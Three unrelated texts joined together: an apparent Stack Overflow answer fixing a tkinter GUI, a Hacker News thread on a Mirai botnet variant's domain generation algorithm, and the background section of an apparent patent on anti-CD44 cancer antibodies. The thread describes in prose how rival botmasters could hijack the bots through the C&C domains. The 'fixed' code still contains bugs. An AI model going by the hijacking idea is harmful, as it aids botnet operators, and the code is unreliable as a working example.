Detail_Frame.place(x=500, y=100, width=800, height=580)
lbl_search = Label(Detail_Frame, text="Search By", bg="crimson", fg="white", front=("time new roman", 20, "bold"))
lbl_search.grid(row=0, colum=0, pady=10, padx=20, sticky="w")
combo_search = ttk.Combobox(Manage_Frame,width=10,front=("times new roman", 13, "bold"),state="readonly")
combo_search['values'] = ("Roll", "Name", "contact")
combo_search.grid(row=0, colum=1, padx=20, pady=10)
txt_Search = Entry(Manage_Frame,width=15, front=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Search.grid(row=6, colum=1, pady=10, padx=20, sticky="w")
searchbtn = Button(btn_Frame, text="Search", width=10).grid(row=0, column=3, padx=10, pady=10)
showallbtn = Button(btn_Frame, text="Show All", width=10).grid(row=0, column=4, padx=10, pady=10)
#=========Table Frame=========
Table_Frame = Frame(Detail_Frame, bd=4, relief=RIDGE, bg="crimson")
Table_Frame.place(x=10, y=70, width=760, height=500)
scroll_x=Scrollbar(Table_Frame,orient=HORIZONTAL)
scroll_y = Scrollbar(Table_Frame, orient=VERTICAL)
Student_table=ttk.Treeview(Table_Frame,columns=("roll","name","email","gender","contact","dob","Address"),xscollcommand=scroll_x.set,yscollcommand=scroll_y.set)
scroll_x.pack(side=BOTTOM,fill=X)
scroll_y.pack(side=RIGHT, fill=Y)
scroll_x.config(command=Student_table.xview)
scroll_y.config(command=Student_table.xview)
Student_table.heading("roll",text="Roll")
Student_table.heading("name", text="Name")
Student_table.heading("email", text="Email")
Student_table.heading("gender", text="Gender")
Student_table.heading("Contact", text="Contact")
Student_table.heading("D.O.B", text="D.O.B")
Student_table.heading("Address", text="Address")
Student_table['show']='headings'
Student_table.pack()
root=Tk()
A:
You have to initialize your Student object and pass root to it. Add this to the end of your code for it to run:
app=Student(root)
root.mainloop()
Your current code as is includes a lot of syntax errors that need to be fixed before running. The following should run, albeit with some visual errors:
from tkinter import *
from tkinter import ttk
class Student:
def __init__(self,root):
self.root=root
self.root.title("student management system")
self.root.geometry("1350x700")
title=Label(self.root,text="Student Management System",bd=10,relief=GROOVE,font=("time new roman",40,"bold"),bg="yellow",fg="red")
title.pack(side=TOP,fill=X)
Manage_Frame=Frame(self.root,bd=4,relief=RIDGE,bg="crimson")
Manage_Frame.place(x=20,y=70,width=450,height=560)
#========Massage Frame===============================
Manage_Frame=Frame(self.root,bd=4,relief=RIDGE,bg="crimson")
Manage_Frame.place(x=20,y=100,width=450,height=560)
m_title=Label(Manage_Frame,text="Manage Students",bg="crimson",fg="white",font=("time new roman",30,"bold"))
m_title.grid(row=0,columnspan=2,pady=10)
lbl_roll = Label(Manage_Frame, text="Roll No.", bg="crimson", fg="white",font=("time new roman", 20, "bold"))
lbl_roll.grid(row=1, column=0, pady=10,padx=20,sticky="w")
txt_roll = Entry(Manage_Frame,font=("time new roman", 15, "bold"),bd=5,relief=GROOVE)
txt_roll.grid(row=1, column=2, pady=10, padx=20, sticky="w")
lbl_name = Label(Manage_Frame, text="Name", bg="crimson", fg="white", font=("time new roman", 20, "bold"))
lbl_name.grid(row=1, column=0, pady=10, padx=20, sticky="w")
txt_name = Entry(Manage_Frame, font=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_name.grid(row=2, column=1, pady=10, padx=20, sticky="w")
lbl_Email = Label(Manage_Frame, text="Email", bg="crimson", fg="white", font=("time new roman", 20, "bold"))
lbl_Email.grid(row=1, column=0, pady=10, padx=20, sticky="w")
txt_Email = Entry(Manage_Frame, font=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Email.grid(row=3, column=0, pady=10, padx=20, sticky="w")
lbl_Gender = Label(Manage_Frame, text="Gender", bg="crimson", fg="white", font=("time new roman", 20, "bold"))
lbl_Gender.grid(row=4, column=0, pady=10, padx=20, sticky="w")
combo_Gender=ttk.Combobox(Manage_Frame,font=("times new roman",20,"bold"))
combo_Gender['values']=("Male","Female","other")
combo_Gender.grid(row=4,column=1,padx=20,pady=10)
lbl_Contact = Label(Manage_Frame, text="Contact", bg="crimson", fg="white", font=("time new roman", 20, "bold"))
lbl_Contact.grid(row=5, column=0, pady=10, padx=20, sticky="w")
txt_Contact = Entry(Manage_Frame, font=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Contact.grid(row=5, column=1, pady=10, padx=20, sticky="w")
lbl_DOB = Label(Manage_Frame, text="DOB", bg="crimson", fg="white",font=("time new roman", 20, "bold"))
lbl_DOB.grid(row=6, column=0, pady=10, padx=20, sticky="w")
txt_Contact = Entry(Manage_Frame, font=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Contact.grid(row=6, column=1, pady=10, padx=20, sticky="w")
lbl_address = Label(Manage_Frame, text="Address", bg="crimson", fg="white", font=("time new roman", 20, "bold"))
lbl_address.grid(row=6, column=0, pady=10, padx=20, sticky="w")
txt_address = Entry(Manage_Frame, font=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_address.grid(row=6, column=1, pady=10, padx=20, sticky="w")
#=========Button Frame=========
btn_Frame=Frame(Manage_Frame,bd=4,relief=RIDGE,bg="crimson")
btn_Frame.place(x=15, y=500, width=420)
Addbtn = Button(btn_Frame,text="add",width=10).grid(row=0,column=0,padx=10,pady=10)
Updatebtn = Button(btn_Frame, text="update", width=10).grid(row=0, column=1, padx=10, pady=10)
Deletebtn = Button(btn_Frame, text="delete", width=10).grid(row=0, column=2, padx=10, pady=10)
Clearbtn = Button(btn_Frame, text="clear", width=10).grid(row=0, column=3, padx=10, pady=10)
#=========Detail Frame=========
Detail_Frame = Frame(self.root, bd=4, relief=RIDGE, bg="crimson")
Detail_Frame.place(x=500, y=100, width=800, height=580)
lbl_search = Label(Detail_Frame, text="Search By", bg="crimson", fg="white", font=("time new roman", 20, "bold"))
lbl_search.grid(row=0, column=0, pady=10, padx=20, sticky="w")
combo_search = ttk.Combobox(Manage_Frame,width=10,font=("times new roman", 13, "bold"),state="readonly")
combo_search['values'] = ("Roll", "Name", "contact")
combo_search.grid(row=0, column=1, padx=20, pady=10)
txt_Search = Entry(Manage_Frame,width=15, font=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Search.grid(row=6, column=1, pady=10, padx=20, sticky="w")
searchbtn = Button(btn_Frame, text="Search", width=10).grid(row=0, column=3, padx=10, pady=10)
showallbtn = Button(btn_Frame, text="Show All", width=10).grid(row=0, column=4, padx=10, pady=10)
#=========Table Frame=========
Table_Frame = Frame(Detail_Frame, bd=4, relief=RIDGE, bg="crimson")
Table_Frame.place(x=10, y=70, width=760, height=500)
scroll_x=Scrollbar(Table_Frame,orient=HORIZONTAL)
scroll_y = Scrollbar(Table_Frame, orient=VERTICAL)
Student_table=ttk.Treeview(Table_Frame,columns=("roll","name","email","gender","contact","dob","Address"),xscrollcommand=scroll_x.set,yscrollcommand=scroll_y.set)
scroll_x.pack(side=BOTTOM,fill=X)
scroll_y.pack(side=RIGHT, fill=Y)
scroll_x.config(command=Student_table.xview)
scroll_y.config(command=Student_table.xview)
Student_table.heading("roll",text="Roll")
Student_table.heading("name", text="Name")
Student_table.heading("email", text="Email")
Student_table.heading("gender", text="Gender")
Student_table.heading("contact", text="Contact")
Student_table.heading("dob", text="D.O.B")
Student_table.heading("Address", text="Address")
Student_table['show']='headings'
Student_table.pack()
root=Tk()
app=Student(root)
root.mainloop()
|
New Mirai Variant Has a Domain Generation Algorithm - pjf
http://blog.netlab.360.com/new-mirai-variant-with-dga/
======
Exuma
What software is that? I always see that decompiler software in posts like
this.
~~~
Cyph0n
My guess would be IDA[1]. It's the de facto industry standard for reverse
engineering binaries.
[1]: [https://www.hex-rays.com/products/ida/](https://www.hex-
rays.com/products/ida/)
~~~
Exuma
Is it as cool/intuitive as it looks? Lol... I also just saw this from this
morning:
[http://www.welivesecurity.com/2016/12/06/readers-popular-
web...](http://www.welivesecurity.com/2016/12/06/readers-popular-websites-
targeted-stealthy-stegano-exploit-kit-hiding-pixels-malicious-ads/)
It looks almost like english. It makes me want to learn it for fun.
More than likely though I would go to decompile something and it would be
infinitely complicated and years of learning to know what I'm doing. Perhaps I
shall youtube some intro videos.
~~~
ShaneWilton
It's definitely cool, but it's far from intuitive. Worse, the licensing is
nearly impossible to deal with as an individual.
If you're interested in getting started with reverse engineering, I recommend
Binary Ninja [0]. It's a newer platform, and you may run into bugs, but the
team behind it is super responsive to feedback, and they've done a great job
of taking a traditionally very arcane UI, and making it into something that's
a joy to use.
[0] [https://binary.ninja/](https://binary.ninja/)
~~~
aseipp
Eh, Hex-Rays eased up on the licensing a lot in the past few years, IIRC, and
it's much more tolerable for individuals. These days, from what I understand,
as long as you basically email them from your corporate, work email address --
they'll let you purchase a permanent, individual license that way, even with
their digital downloads. So you don't need physical shipment or anything like
that, they just need to make sure they aren't sending it to a rando email
address.
In the past it was a lot more difficult since as an individual they'd want to
physically ship you the software on disk, so they'd only send it to offices,
trusted addresses, etc which complicated it a lot. I never really had to deal
with this since I think their strategies changed a bit by the time I got
licenses at my last job.
Of course, just emailing them from your work addr won't totally cut it -- you
also have to pony up the few thousand USD to get IDA, and near $10k if you
want all the decompiler tools, as well... IDA Pro itself is relatively 'cheap'
by itself if you just want disassembly, though, and you actually do it for a
job.
------
ryanlol
Wow, that's a particularly silly domain generation algorithm.
Do these kids even use some sensible crypto for the C&C? If not, anyone
running their own mirai net can steal these bots just by running .dns on their
C&C domain and registering one of the generated domains :)
~~~
Godel_unicode
> ...used it to predict all 365 possible DGA domains. When looking up their
> registration information, we found some of them have been registered by the
> MIRAI author...
Not so fast. This is just so that malware reverse engineers can't run strings
on the executable (note also where they say this executable is stripped but
not packed) and then block/tip the handful of hard-coded domains.
Anti-forensics is an arms race, and especially for a botnet like this the goal
is to do just enough that you can spread (see also: premature optimization).
You'll see it (mirai) get progressively better as the authors are forced to
work harder.
~~~
ryanlol
>This is just so that malware reverse engineers can't run strings on the
executable (note also where they say this executable is stripped but not
packed) and then block/tip the handful of hard-coded domains
Nothing to do with `strings`. The purpose of domain generation algorithms is
simply to prevent bot loss from domain suspension/C&C takedowns.
Unless these guys patched mirai to authenticate the server somehow, this is a
really easy way for them to lose all of their bots.
As I stated earlier, this enables any competing botmaster to easily steal
their bots simply by taking down the nameservers for their main domains. Mirai
has built in functionality to do that, the ".dns" command.
Even without that flaw, it's also a really bad way of keeping the bots alive
since 365 domains will be trivial for the registry to blacklist.
~~~
Godel_unicode
> Nothing to do with `strings`. The purpose of domain generation algorithms is
> simply to prevent bot loss from domain suspension/C&C takedowns.
The purpose of DGA is also to make it harder to identify the domains the
malware will use. One of those ways is to run strings on an executable and
look for domain names. As they made no attempt to move off their main domains,
we can assume that wasn't the goal. Rather, the goal of this is pretty clearly
to add a few new domain names which are not as obvious and thus less likely to
be blocked. Certainly not the perfect solution, but see my previous about
premature optimization.
Also, I think you're overestimating the ease of taking over someone else's
registrant account. Possible? Absolutely. Easy? Well, that depends on a great
many things, but typically not easy without a court order.
~~~
ryanlol
Are you just coming up with new uses for domain generation algorithms to
refute my comment for the sake of refuting it, or do you personally know the
developer? Or do you at least personally know developers who have used DGAs
for that?
I've seen lots of DGAs, but I've never seen one being used for the purpose
you're describing.
You're suggesting a pretty novel use case here, why is that?
>Also, I think you're overestimating the ease of taking over someone else's
registrant account. Possible? Absolutely. Easy? Well, that depends on a great
many things, but typically not easy without a court order.
While it's not at all what I was referring to, many domain registrars are
actually surprisingly happy to just hand over malware domains to "whitehats".
See goatsis comment for the issue I was originally referring to.
~~~
Godel_unicode
My experience differs from yours. Apparently goatsis has heard of you, so good
work on that? The logical fallacy of either/or doesn't advance your argument
as much as you think it does.
In my experience, malware authors care about beating the defense more than
they do about having their domains taken down by some "whitehat". Although if
you think that's easy, by all means please do. The Internet will thank you.
~~~
ryanlol
Instead of relying on the fallacy fallacy could you try to back up your point
of view somehow? Share your differing experiences and give us some examples.
The idea of using a DGA to _hide_ your C&C simply isn't a very good one. It's
not going to work, anyone running a packet capture will still see where your
bot connects.
Using a DGA to protect your C&C from being taken down? You can easily make it
impossible for any domain registry to shut you down. It'll also protect you
from server suspensions as you'll just be able to update your DNS records.
One of these actually works, one doesn't. For hiding your C&C you'd want to
use tor hidden services instead. Generally C&Cs are disposable though, so
there's no need to hide them in the first place.
>In my experience, malware authors care about beating the defense more than
they do about having their domains taken down by some "whitehat".
I don't really understand what you mean here. "beating the defense"? Are you
suggesting that whoever did this mirai edit was trying to evade antiviruses or
any sort of "defense" in that matter? On iot devices and routers?
I'm _sure_ they weren't hoping that whatever analyst finds their binary isn't
going to find their C&C... Which seems to be what you're suggesting.
But if they aren't worried about their C&C being taken down by some "whitehat"
then why on earth would they want to hide it in the first place?
------
maxt
Are these domains for free? Is it possible to bypass a registrar and register
a domain for free like this?
~~~
tyingq
They aren't free, no. But the algorithm creates one predictable domain per
day.
So, the author of the code doesn't need to register all of them. Just one for
each day he needs a backup c&c network.
------
rconti
so apparently this is not about a Toyota.
~~~
Cyph0n
It _could_ be, if you connected your Toyota to the internet.
------
jmiserez
If the author's Gmail is known, shouldn't it be trivial for the authorities to
find out who registered the domains and arrest them?
------
rurban
Still from Ukraine
|
CD44 in Cancer: Raising monoclonal antibodies against human white blood cells led to the discovery of the CD44 antigen; a single chain hyaluronic acid (HA) binding glycoprotein expressed on a wide variety of normal tissue and on all types of hematopoietic cells. It was originally associated with lymphocyte activation and homing. Currently, its putative physiological role also includes activation of inflammatory genes, modulation of cell cycle, induction of cell proliferation, induction of differentiation and development, induction of cytoskeletal reorganization and cell migration and cell survival/resistance to apoptosis.
In humans, the single gene copy of CD44 is located on the short arm of chromosome 11, 11p13. The gene contains 19 exons; the first 5 are constant, the next 9 are variant, the following 3 are constant and the final 2 are variant. Differential splicing can lead to over 1000 different isoforms. However, currently only several dozen naturally occurring variants have been identified.
The CD44 standard glycoprotein consists of a N-terminal extracellular (including a 20 a.a. leader sequence, and a membrane proximal region (85 a.a.)) domain (270 a.a.), a transmembrane region (21 a.a.) and a cytoplasmic tail (72 a.a.). The extracellular region also contains a link module at the N-terminus. This region is 92 a.a. in length and shows homology to other HA binding link proteins. There is high homology between the mouse and human forms of CD44. The variant forms of the protein are inserted to the carboxy terminus of exon 5 and are located extracellularly when expressed.
A serum soluble form of CD44 also occurs naturally and can arise from either a stop codon (within the variable region) or from proteolytic activity. Activation of cells from a variety of stimuli including TNF-α results in shedding of the CD44 receptor. Shedding of the receptor has also been seen with tumor cells and can result in an increase in the human serum concentration of CD44 by up to 10-fold. High CD44 serum concentration suggests malignancy (ovarian cancer being the exception).
The standard form of CD44 exists with a molecular weight of approximately 37 kD. Post-translational modifications increase the molecular weight to 80-90 kD. These modifications include amino terminus extracellular domain N-linked glycosylations at asparagine residues, O-linked glycosylations at serine/threonine residues at the carboxy terminus of the extracellular domain and glycosaminoglycan additions. Splice variants can range in size from 80-250 kD.
HA, a polysaccharide located on the extracellular matrix (ECM) in mammals, is thought to be the primary CD44 ligand. However, CD44 has also been found to bind such proteins as collagen, fibronectin, laminin etc. There appears to be a correlation between HA binding and glycosylation. Inactive CD44 (does not bind HA) has the highest levels of glycosylation, active CD44 (binding HA) the lowest while inducible CD44 (does not or weakly binds HA unless activated by cytokines, monoclonal antibodies, growth factors, etc.) has glycosylation levels somewhere in between the active and inactive forms.
CD44 can mediate some of its functions through signal transduction pathways that depend on the interaction of the cell, stimulus and the environment. Some of these pathways include the NFκB signaling cascade (involved in the inflammatory response), the Ras-MAPK signal transduction pathway (involved with activating cell cycling and proliferation), the Rho family of proteins (involved with cytoskeleton reorganization and cell migration) and the PI3-K-related signaling pathway (related to cell survival). All of the above-mentioned functions are closely associated with tumor disease initiation and progression. CD44 has also been implicated in playing a role in cancer through a variety of additional mechanisms. These include the presentation of growth factors, chemokines and cytokines by cell surface proteoglycans present on the cell surface of CD44 to receptors involved in malignancy. Also, the intracellular degradation of HA by lysosomal hyaluronidases after internalization of the CD44-HA complex can potentially increase the likelihood of tumor invasiveness and induction of angiogenesis through the ECM. In addition, the transmission of survival or apoptotic signals has been shown to occur through either the standard or variable CD44 receptor. CD44 has also been suggested to be involved in cell differentiation and migration. Many, if not all, of these mechanisms are environment and cell dependent and several give rise to variable findings. Therefore, more research is required before any conclusions can be drawn.
In order to validate a potential functional role of CD44 in cancer, expression studies of CD44 were undertaken to determine if differential expression of the receptor correlates with disease progression. However, inconsistent findings were observed in a majority of tumor types and this is probably due to a combination of reagents, technique, pathological scoring and cell type differences between researchers. Renal cell carcinoma and non-Hodgkin's lymphoma appear to be the exception in that patients with high CD44 expressing tumors consistently had shorter survival times than their low or non-CD44 expressing counterparts.
Due to its association with cancer, CD44 has been the target of the development of anti-cancer therapeutics. There is still controversy as to whether the standard or the variant forms of CD44 are required for tumor progression. There is in vivo animal data to support both views and again it may be tumor type and even cell type dependent. Different therapeutic approaches have included injection of soluble CD44 proteins, hyaluronan synthase cDNA, hyaluronidase, the use of CD44 antisense and CD44 specific antibodies. Each approach has led to some degree of success thereby providing support for anti-CD44 cancer therapeutics.
Both variant and standard CD44 specific monoclonal antibodies have been generated experimentally but for the most part these antibodies have no intrinsic biological activity, rather they bind specifically to the type of CD44 they recognize. However, there are some that are either active in vitro or in vivo but generally not both. Several anti-CD44 antibodies have been shown to mediate cellular events. For example the murine antibody A3D8, directed against human erythrocyte Lutheran antigen CD44 standard form, was shown to enhance CD2 (9-1 antibody) and CD3 (OKT3 antibody) mediated T cell activation; another anti-CD44 antibody had similar effects. A3D8 also induced IL-1 release from monocytes and IL-2 release from T lymphocytes. Interestingly, the use of A3D8 in conjunction with drugs such as daunorubicin, mitoxantrone and etoposide inhibited apoptosis induction in HL60 and NB4 AML cells by abrogating the generation of the second messenger ceramide. The J173 antibody, which does not have intrinsic activity and is directed against a similar epitope of CD44s, did not inhibit drug-induced apoptosis. The NIH44-1 antibody, directed against an 85-110 kD and 200 kD form of CD44, augmented T-cell proliferation through a pathway the authors speculated as either cross-linking or aggregation of CD44. Taken together, there is no evidence that antibodies such as these are suitable for use as cancer therapeutics since they either are not directed against cancer (e.g. activate lymphocytes), induce cell proliferation, or when used with cytotoxic agents inhibited drug-induced death of cancer cells.
Several anti-CD44 antibodies have been described which demonstrate anti-tumor effects in vivo. The antibody 1.1 ASML, a mouse IgG1 directed to the v6 variant of CD44, has been shown to decrease the lymph node and lung metastases of the rat pancreatic adenocarcinoma BSp73ASML. Survival of the treated animals was concomitantly increased. The antibody was only effective if administered before lymph node colonization, and was postulated to interfere with cell proliferation in the lymph node. There was no direct cytotoxicity of the antibody on the tumor cells in vitro, and the antibody did not enhance complement-mediated cytotoxicity, or immune effector cell function. Utility of the antibody against human cells was not described.
Breyer et al. described the use of a commercially-available antibody to CD44s to disrupt the progression of an orthotopically-implanted rat glioblastoma. The rat glioblastoma cell line C6 was implanted in the frontal lobe, and after 1 week, the rats were given 3 treatments with antibody by intracerebral injection. Treated rats demonstrated decreased tumor growth, and higher body weight than buffer or isotype control treated rats. The antibody was able to inhibit adhesion of cells in vitro to coverslips coated with extracellular matrix components, but did not have any direct cytotoxic effects on cells. This antibody was not tested against human cells.
A study was carried out which compared the efficacy of an antibody to CD44s (IM-7.8.1) to an antibody to CD44v10 (K926). The highly metastatic murine melanoma line B16F10, which expresses both CD44 isoforms, was implanted intravenously into mice. After 2 days, antibodies were given every third day for the duration of the study. Both antibodies caused a significant reduction of greater than 50 percent in the number of lung metastases; there was no significant difference in efficacy between the two antibodies. The antibody did not affect proliferation in vitro, and the authors, Zawadzki et al., speculated that the inhibition of tumor growth was due to the antibody blocking the interaction of CD44 with its ligand. In another study using IM-7.8.1, Zahalka et al. demonstrated that the antibody and its F(ab′)2 fragment were able to block the lymph node infiltration by the murine T-cell lymphoma LB. This conferred a significant survival benefit to the mice. Wallach-Dayan et al. showed that transfection of LB-TRs murine lymphoma, which does not spontaneously form tumors, with CD44v4-v10 conferred the ability to form tumors. IM-7.8.1 administration decreased tumor size of the implanted transfected cells in comparison to the isotype control antibody. None of these studies demonstrated human utility for this antibody.
GKW.A3, a mouse IgG2a, is specific for human CD44 and prevents the formation and metastases of a human melanoma xenograft in SCID mice. The antibody was mixed with the metastastic human cell line SMMU-2, and then injected subcutaneously. Treatments were continued for the following 3 weeks. After 4 weeks, only 1 of 10 mice developed a tumor at the injection site, compared to 100 percent of untreated animals. F(ab′)2 fragments of the antibody demonstrated the same inhibition of tumor formation, suggesting that the mechanism of action was not dependent on complement or antibody-dependent cellular cytotoxicity. If the tumor cells were injected one week prior to the first antibody injection, 80 percent of the animals developed tumors at the primary site. However, it was noted that the survival time was still significantly increased. Although the delayed antibody administration had no effect on the primary tumor formation, it completely prevented the metastases to the lung, kidney, adrenal gland, liver and peritoneum that were present in the untreated animals. This antibody does not have any direct cytotoxicity on the cell line in vitro nor does it interfere with proliferation of SMMU-2 cells, and appears to have its major effect on tumor formation by affecting metastasis or growth. One notable feature of this antibody was that it recognized all isoforms of CD44, which suggests limited possibilities for therapeutic use.
Strobel et al. describe the use of an anti-CD44 antibody (clone 515) to inhibit the peritoneal implantation of human ovarian cancer cells in a mouse xenograft model. The human ovarian cell line 36M2 was implanted intraperitoneally into mice in the presence of the anti-CD44 antibody or control antibody, and then treatments were administered over the next 20 days. After 5 weeks, there were significantly fewer nodules in the peritoneal cavity in the antibody treated group. The nodules from both the anti-CD44 and control treated groups were the same size, suggesting that once the cells had implanted, the antibody had no effect on tumor growth. When cells were implanted subcutaneously there was also no effect on tumor growth indicating that the antibody itself did not have an anti-proliferative or cytotoxic effect. In addition, there was no effect of the antibody on cell growth in vitro.
VFF-18, also designated as BIWA 1, is a high-affinity antibody to the v6 variant of CD44 specific for the 360-370 region of the polypeptide. This antibody has been used as a 99mTechnetium-labelled conjugate in a Phase 1 clinical trial in 12 patients. The antibody was tested for safety and targeting potential in patients with squamous cell carcinoma of the head and neck. Forty hours after injection, 14 percent of the injected dose was taken up by the tumor, with minimal accumulation in other organs including the kidney, spleen and bone marrow. The highly selective tumor binding suggests a role for this antibody in radioimmunotherapy, although the exceptionally high affinity of this antibody prevented penetration into the deeper layers of the tumor. Further limiting the application of BIWA 1 is the immunogenicity of the murine antibody (11 of 12 patients developed human anti-mouse antibodies (HAMA)), heterogenous accumulation throughout the tumor and formation of antibody-soluble CD44 complexes. WO 02/094879 discloses a humanized version of VFF-18 designed to overcome the HAMA response, designated BIWA 4. BIWA 4 was found to have a significantly lower antigen binding affinity than the parent VFF 18 antibody. Surprisingly, the lower affinity BIWA 4 antibody had superior tumor uptake characteristics than the higher affinity BIWA 8 humanized VFF-18 antibody. Both 99mTechnetium-labelled and 186Rhenium-labelled BIWA 4 antibodies were assessed in a 33 patient Phase 1 clinical trial to determine safety, tolerability, tumor accumulation and maximum tolerated dose, in the case of 186Re-labelled BIWA 4. There appeared to be tumor related uptake of 99mTc-labelled BIWA 4. There were no tumor responses seen with all doses of 186Re-labelled BIWA 4, although a number had stable disease; the dose limiting toxicity occurred at 60 mCi/m2. There was a 50-65 percent rate of adverse events with 12 of 33 patients deemed to have serious adverse events (thrombocytopenia, leukopenia and fever) and of those 6, all treated with 186Re-labelled BIWA 4, died in the course of treatment or follow-up due to disease progression. Two patients developed human anti-human antibodies (HAHA). A Phase 1 dose escalation trial of 186Re-labelled BIWA 4 was carried out in 20 patients. Oral mucositis and dose-limiting thrombocytopenia and leucocytopenia were observed; one patient developed a HAHA response. Stable disease was seen in 5 patients treated at the highest dose of 60 mCi/m2. Although deemed to be acceptable in both safety and tolerability for the efficacy achieved, these studies have higher rates of adverse events compared to other non-radioisotope conjugated biological therapies in clinical studies. U.S. Patent Application US 2003/0103985 discloses a humanized version of VFF-18 conjugated to a maytansinoid, designated BIWI 1, for use in tumor therapy. A humanized VFF 18 antibody, BIWA 4, when conjugated to a toxin, i.e. BIWI 1, was found to have significant anti-tumor effects in mouse models of human epidermoid carcinoma of the vulva, squamous cell carcinoma of the pharynx or breast carcinoma. The unconjugated version, BIWA 4, did not have anti-tumor effects and the conjugated version, BIWI 1, has no evidence of safety or efficacy in humans.
Mab U36 is a murine monoclonal IgG1 antibody generated by UM-SCC-22B human hypopharyngeal carcinoma cell immunization and selection for cancer and tissue specificity. Antigen characterization through cDNA cloning and sequence analysis identified the v6 domain of keratinocyte-specific CD44 splice variant epican as the target of Mab U36. Immunohistochemistry studies show the epitope to be restricted to the cell membrane. Furthermore, Mab U36 labeled 94 percent of the head and neck squamous cell carcinomas (HNSCC) strongly, and within these tumors there was uniformity in cell staining. A 10 patient 99mTc-labelled Mab U36 study showed selective accumulation of the antibody to HNSCC cancers (20.4+/−12.4 percent injected dose/kg at 2 days); no adverse effects were reported but two patients developed HAMA. In a study of radio-iodinated murine Mab U36 there were 3 cases of HAMA in 18 patients and selective homogenous uptake in HNSCC. In order to decrease the antigenicity of Mab U36 and decrease the rate of HAMA a chimeric antibody was constructed. Neither the chimeric nor the original murine Mab U36 has ADCC activity. There is no evidence of native functional activity of Mab U36. 186Re-labelled chimeric Mab U36 was used to determine the utility of Mab U36 as a therapeutic agent. In this Phase 1 escalating dose trial 13 patients received a scouting dose of 99mTc-labelled chimeric Mab U36 followed by 186Re-labelled chimeric Mab U36. There were no acute adverse events reported but following treatment dose limiting myelotoxcity (1.5 GBq/m2) in 2 of 3 patients, and thrombocytopenia in one patient treated with the maximum tolerated dose (1.0 GBq/m2) were observed. Although there were some effects on tumor size these effects did not fulfill the criteria for objective responses to treatment. A further study of 186Re-labelled chimeric Mab U36 employed a strategy of using granulocyte colony-stimulating factor stimulated whole blood reinfusion to double the maximum-tolerated activity to 2.8 Gy. In this study of nine patients with various tumors of the head and neck, 3 required transfusions for drug related anemia. Other toxicity includes grade 3 myelotoxicity, and grade 2 mucositis. No objective tumor responses were reported although stable disease was achieved for 3-5 months in 5 patients. Thus, it can be seen that although Mab U36 is a highly specific antibody the disadvantage of requiring a radioimmunoconjugate to achieve anti-cancer effects limits its usefulness because of the toxicity associated with the therapy in relation to the clinical effects achieved.
To summarize, a CD44v6 (1.1ASML) and CD44v10 (K926) monoclonal antibody have been shown to reduce metastatic activity in rats injected with a metastatic pancreatic adenocarcinoma or mice injected with a malignant melanoma respectively. Another anti-CD44v6 antibody (VFF-18 and its derivatives), only when conjugated to a maytansinoid or a radioisotope, has been shown to have anti-tumor effects. Anti-standard CD44 monoclonal antibodies have also been shown to suppress intracerebral progression by rat glioblastoma (anti-CD44s), lymph node invasion by mouse T cell lymphoma (IM-7.8.1) as well as inhibit implantation of a human ovarian cancer cell line in nude mice (clone 515), lung metastasis of a mouse melanoma cell line (IM-7.8.1) and metastasis of a human melanoma cell line in SCID mice (GKW.A3). The radioisotope conjugated Mab U36 anti-CD44v6 antibody and its derivatives had anti-tumor activity in clinical trials that were accompanied by significant toxicity. These results, though they are encouraging and support the development of anti-CD44 monoclonal antibodies as potential cancer therapeutics, demonstrate limited effectiveness, safety, or applicability to human cancers.
Thus, if an antibody composition were isolated which mediated cancerous cell cytotoxicity, as a function of its attraction to cell surface expression of CD44 on said cells, a valuable diagnostic and therapeutic procedure would be realized.
Monoclonal Antibodies as Cancer Therapy: Each individual who presents with cancer is unique and has a cancer that is as different from other cancers as that person's identity. Despite this, current therapy treats all patients with the same type of cancer, at the same stage, in the same way. At least 30 percent of these patients will fail the first line therapy, thus leading to further rounds of treatment and the increased probability of treatment failure, metastases, and ultimately, death. A superior approach to treatment would be the customization of therapy for the particular individual. The only current therapy which lends itself to customization is surgery. Chemotherapy and radiation treatment cannot be tailored to the patient, and surgery by itself, in most cases is inadequate for producing cures.
With the advent of monoclonal antibodies, the possibility of developing methods for customized therapy became more realistic since each antibody can be directed to a single epitope. Furthermore, it is possible to produce a combination of antibodies that are directed to the constellation of epitopes that uniquely define a particular individual's tumor.
Having recognized that a significant difference between cancerous and normal cells is that cancerous cells contain antigens that are specific to transformed cells, the scientific community has long held that monoclonal antibodies can be designed to specifically target transformed cells by binding specifically to these cancer antigens; thus giving rise to the belief that monoclonal antibodies can serve as “Magic Bullets” to eliminate cancer cells. However, it is now widely recognized that no single monoclonal antibody can serve in all instances of cancer, and that monoclonal antibodies can be deployed, as a class, as targeted cancer treatments. Monoclonal antibodies isolated in accordance with the teachings of the instantly disclosed invention have been shown to modify the cancerous disease process in a manner which is beneficial to the patient, for example by reducing the tumor burden, and will variously be referred to herein as cancerous disease modifying antibodies (CDMAB) or “anti-cancer” antibodies.
At the present time, the cancer patient usually has few options of treatment. The regimented approach to cancer therapy has produced improvements in global survival and morbidity rates. However, to the particular individual, these improved statistics do not necessarily correlate with an improvement in their personal situation.
Thus, if a methodology was put forth which enabled the practitioner to treat each tumor independently of other patients in the same cohort, this would permit the unique approach of tailoring therapy to just that one person. Such a course of therapy would, ideally, increase the rate of cures, and produce better outcomes, thereby satisfying a long-felt need.
Historically, the use of polyclonal antibodies has been used with limited success in the treatment of human cancers. Lymphomas and leukemias have been treated with human plasma, but there were few prolonged remission or responses. Furthermore, there was a lack of reproducibility and there was no additional benefit compared to chemotherapy. Solid tumors such as breast cancers, melanomas and renal cell carcinomas have also been treated with human blood, chimpanzee serum, human plasma and horse serum with correspondingly unpredictable and ineffective results.
There have been many clinical trials of monoclonal antibodies for solid tumors. In the 1980s there were at least four clinical trials for human breast cancer which produced only one responder from at least 47 patients using antibodies against specific antigens or based on tissue selectivity. It was not until 1998 that there was a successful clinical trial using a humanized anti-Her2/neu antibody (HERCEPTIN® (trastuzumab)) in combination with Cisplatin. In this trial 37 patients were assessed for responses of which about a quarter had a partial response rate and an additional quarter had minor or stable disease progression. The median time to progression among the responders was 8.4 months with median response duration of 5.3 months.
